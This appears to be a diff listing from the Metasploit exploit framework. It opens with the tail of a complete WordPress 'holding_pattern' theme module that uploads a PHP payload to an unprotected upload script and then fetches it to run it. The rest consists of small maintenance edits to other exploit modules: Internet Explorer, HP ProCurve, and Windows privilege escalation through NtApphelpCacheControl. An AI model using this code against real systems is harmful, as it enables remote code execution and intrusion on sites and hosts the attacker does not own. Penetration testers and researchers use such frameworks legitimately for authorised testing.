'Arch' => ARCH_PHP,
'Targets' => [['holding_pattern', {}]],
'DefaultTarget' => 0
))
end
def rhost
datastore['RHOST']
end
def holding_pattern_uploads_url
normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
end
def holding_pattern_uploader_url
normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
end
def generate_mime_message(payload, payload_name)
data = Rex::MIME::Message.new
target_ip = IPSocket.getaddress(rhost)
field_name = Rex::Text.md5(target_ip)
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
data
end
def exploit
print_status("#{peer} - Preparing payload...")
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
data = generate_mime_message(payload, payload_name)
print_status("#{peer} - Uploading payload...")
res = send_request_cgi(
'method' => 'POST',
'uri' => holding_pattern_uploader_url,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)
print_status("#{peer} - Executing the payload at #{payload_url}")
register_files_for_cleanup(payload_name)
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
end
end

View File

@ -41,7 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote
{
'Space' => 1024,
'MinNops' => 512,
'MinNops' => 512,
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },

View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
@ -57,10 +57,6 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => "\x00\x0d\x0a\x5c",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[

View File

@ -52,17 +52,13 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
SP3 / Windows 7 SP1 on both x32 and x64 architectures.
SP3 / Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64],
'Arch' => ARCH_X86,
'BrowserRequirements' =>
{
:source => /script|headers/i,
@ -65,16 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Targets' =>
[
[ 'Windows x86',
{
'arch' => ARCH_X86
}
],
[ 'Windows x64',
{
'arch' => ARCH_X86_64
}
]
[ 'Windows x86/x64', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Mar 12 2013",
@ -96,10 +87,8 @@ class Metasploit3 < Msf::Exploit::Remote
my_payload = get_payload(cli, target_info)
# Align to 4 bytes the x86 payload
if target_info[:arch] == ARCH_X86
while my_payload.length % 4 != 0
my_payload = "\x90" + my_payload
end
while my_payload.length % 4 != 0
my_payload = "\x90" + my_payload
end
my_payload = Rex::Text.encode_base64(my_payload)

View File

@ -109,7 +109,6 @@ class Metasploit3 < Msf::Exploit::Remote
"CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)),
"get_code" => rand_text_alpha(5 + rand(5)),
"code" => rand_text_alpha(5 + rand(5)),
"massage_array" => rand_text_alpha(5 + rand(5)),
"required_claims" => rand_text_alpha(5 + rand(5)),
"massage_array" => rand_text_alpha(5 + rand(5)),
"massage_array_length" => rand_text_alpha(5 + rand(5)),

View File

@ -51,6 +51,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
@ -59,10 +60,6 @@ class Metasploit3 < Msf::Exploit::Remote
'BadChars' => "",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[

View File

@ -48,6 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
@ -55,10 +56,6 @@ class Metasploit3 < Msf::Exploit::Remote
'DisableNops' => true,
'BadChars' => ""
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[

View File

@ -56,17 +56,13 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 948,
'DisableNops' => true,
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[

View File

@ -40,17 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_JAVA,
'DefaultOptions' =>
{
'SHELL' => 'cmd.exe'
'SHELL' => 'cmd.exe',
'SSL' => true
},
'Targets' =>
[
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => 'Sep 09 2013'))
register_options(

View File

@ -40,17 +40,14 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_JAVA,
'DefaultOptions' =>
{
'SHELL' => 'cmd.exe'
'SHELL' => 'cmd.exe',
'SSL' => true
},
'Targets' =>
[
[ 'HP ProCurve Manager 4.0 SNAC Server', {} ]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'SSL' => true,
},
'DisclosureDate' => 'Sep 09 2013'))
register_options(

View File

@ -68,7 +68,7 @@ class Metasploit3 < Msf::Exploit::Local
return Exploit::CheckCode::Safe
end
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle
session.railgun.kernel32.CloseHandle(handle)
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Local
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
handle = open_device('\\\\.\\tcp', 0, 'FILE_SHARE_READ', 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
end

View File

@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Local
def initialize(info={})
super(update_info(info, {
'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are
@ -58,6 +58,7 @@ class Metasploit3 < Msf::Exploit::Local
},
'References' =>
[
[ 'MSB', 'MS15-001' ],
[ 'CVE', '2015-0002' ],
[ 'OSVEB', '116497' ],
[ 'EDB', '35661' ],

Some files were not shown because too many files have changed in this diff Show More